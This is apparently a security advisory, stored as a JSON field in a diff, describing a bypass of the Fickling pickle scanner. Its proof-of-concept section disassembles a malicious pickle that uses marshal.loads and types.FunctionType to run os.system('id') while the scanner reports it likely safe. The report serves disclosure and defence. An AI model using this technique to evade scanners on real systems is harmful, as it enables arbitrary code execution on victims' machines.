+ "details": "## Fickling Assessment\n\nBased on the test case provided in the original report below, this bypass was caused by `marshal` and `types` missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately.\n\n## Original report\n\n### Summary\nThere's missing detection for the python modules, `marshal.loads` and `types.FunctionType` and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.\n\n### Details\nFickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.\n\n### PoC\nThe following is a disassembled view of a malicious pickle file that uses these modules:\n```\n 0: \\x80 PROTO 4\n 2: \\x95 FRAME 0\n 11: \\x8c SHORT_BINUNICODE 'marshal'\n 20: \\x8c SHORT_BINUNICODE 'loads'\n 27: \\x93 STACK_GLOBAL\n 28: \\x94 MEMOIZE (as 0)\n 29: h BINGET 0\n 31: C SHORT_BINBYTES b'\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf30\\x00\\x00\\x00\\x95\\x00S\\x00S\\x01K\\x00r\\x00\\\\\\x00R\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\\x00S\\x025\\x01\\x00\\x00\\x00\\x00\\x00\\x00 \\x00g\\x01)\\x03\\xe9\\x00\\x00\\x00\\x00N\\xda\\x02id)\\x02\\xda\\x02os\\xda\\x06system\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xda\\x08<string>\\xda\\x08<module>r\\t\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x13\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xe3\\x00\\t\\xd8\\x00\\x02\\x87\\t\\x82\\t\\x88$\\x85\\x0fr\\x07\\x00\\x00\\x00'\n 198: \\x85 TUPLE1\n 199: R REDUCE\n 200: \\x94 MEMOIZE (as 1)\n 201: \\x8c SHORT_BINUNICODE 'types'\n 208: \\x8c SHORT_BINUNICODE 'FunctionType'\n 222: \\x93 STACK_GLOBAL\n 223: \\x94 MEMOIZE (as 2)\n 224: h BINGET 2\n 226: h BINGET 1\n 228: } EMPTY_DICT\n 229: \\x86 TUPLE2\n 230: R REDUCE\n 231: \\x94 MEMOIZE (as 3)\n 232: h BINGET 3\n 234: ) EMPTY_TUPLE\n 235: R REDUCE\n 236: \\x94 MEMOIZE (as 4)\n 237: \\x8c SHORT_BINUNICODE 'gottem'\n 245: b BUILD\n 246: . STOP\n ```\n\nWhen analyzing this modified file, safety_result.json shows:\n```\n{\n \"severity\": \"LIKELY_SAFE\",\n \"analysis\": \"Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\\n\\n\",\n \"detailed_results\": {}\n}\n```\n\nFurthermore, when we run `fickling -s <path_to_malicious_file>`, we also encounter this error:\n```\nTraceback (most recent call last):\n File \"<path>/fickling\", line 7, in <module>\n sys.exit(main())\n ^^^^^^\n File \"<path>/fickling/cli.py\", line 163, in main\n safety_results = check_safety(pickled, json_output_path=json_output_path)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"<path>/fickling/analysis.py\", line 408, in check_safety\n results = analyzer.analyze(pickled)\n ^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"<path>/fickling/analysis.py\", line 65, in analyze\n context.analyze(a)\n File \"<path>/fickling/analysis.py\", line 31, in analyze\n results = list(analysis.analyze(self))\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"<path>/fickling/analysis.py\", line 196, in analyze\n for node in context.pickled.non_standard_imports():\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"<path>/fickling/fickle.py\", line 826, in non_standard_imports\n for node in self.properties.imports:\n ^^^^^^^^^^^^^^^\n File \"<path>/fickling/fickle.py\", line 777, in properties\n self._properties.visit(self.ast)\n ^^^^^^^^\n File \"<path>/fickling/fickle.py\", line 833, in ast\n self._ast = Interpreter.interpret(self)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"<path>/fickling/fickle.py\", line 1001, in interpret\n return Interpreter(pickled).to_ast()\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"<path>/fickling/fickle.py\", line 927, in to_ast\n self.run()\n File \"<path>/fickling/fickle.py\", line 971, in run\n self.step()\n File \"<path>/fickling/fickle.py\", line 989, in step\n opcode.run(self)\n File \"<path>/fickling/fickle.py\", line 1767, in run\n raise ValueError(\"Exhausted the stack while searching for a MarkObject!\")\nValueError: Exhausted the stack while searching for a MarkObject!\n```\n\n### Impact\nThis allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for `types.FunctionType` and `marshal.loads`. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.",
0 commit comments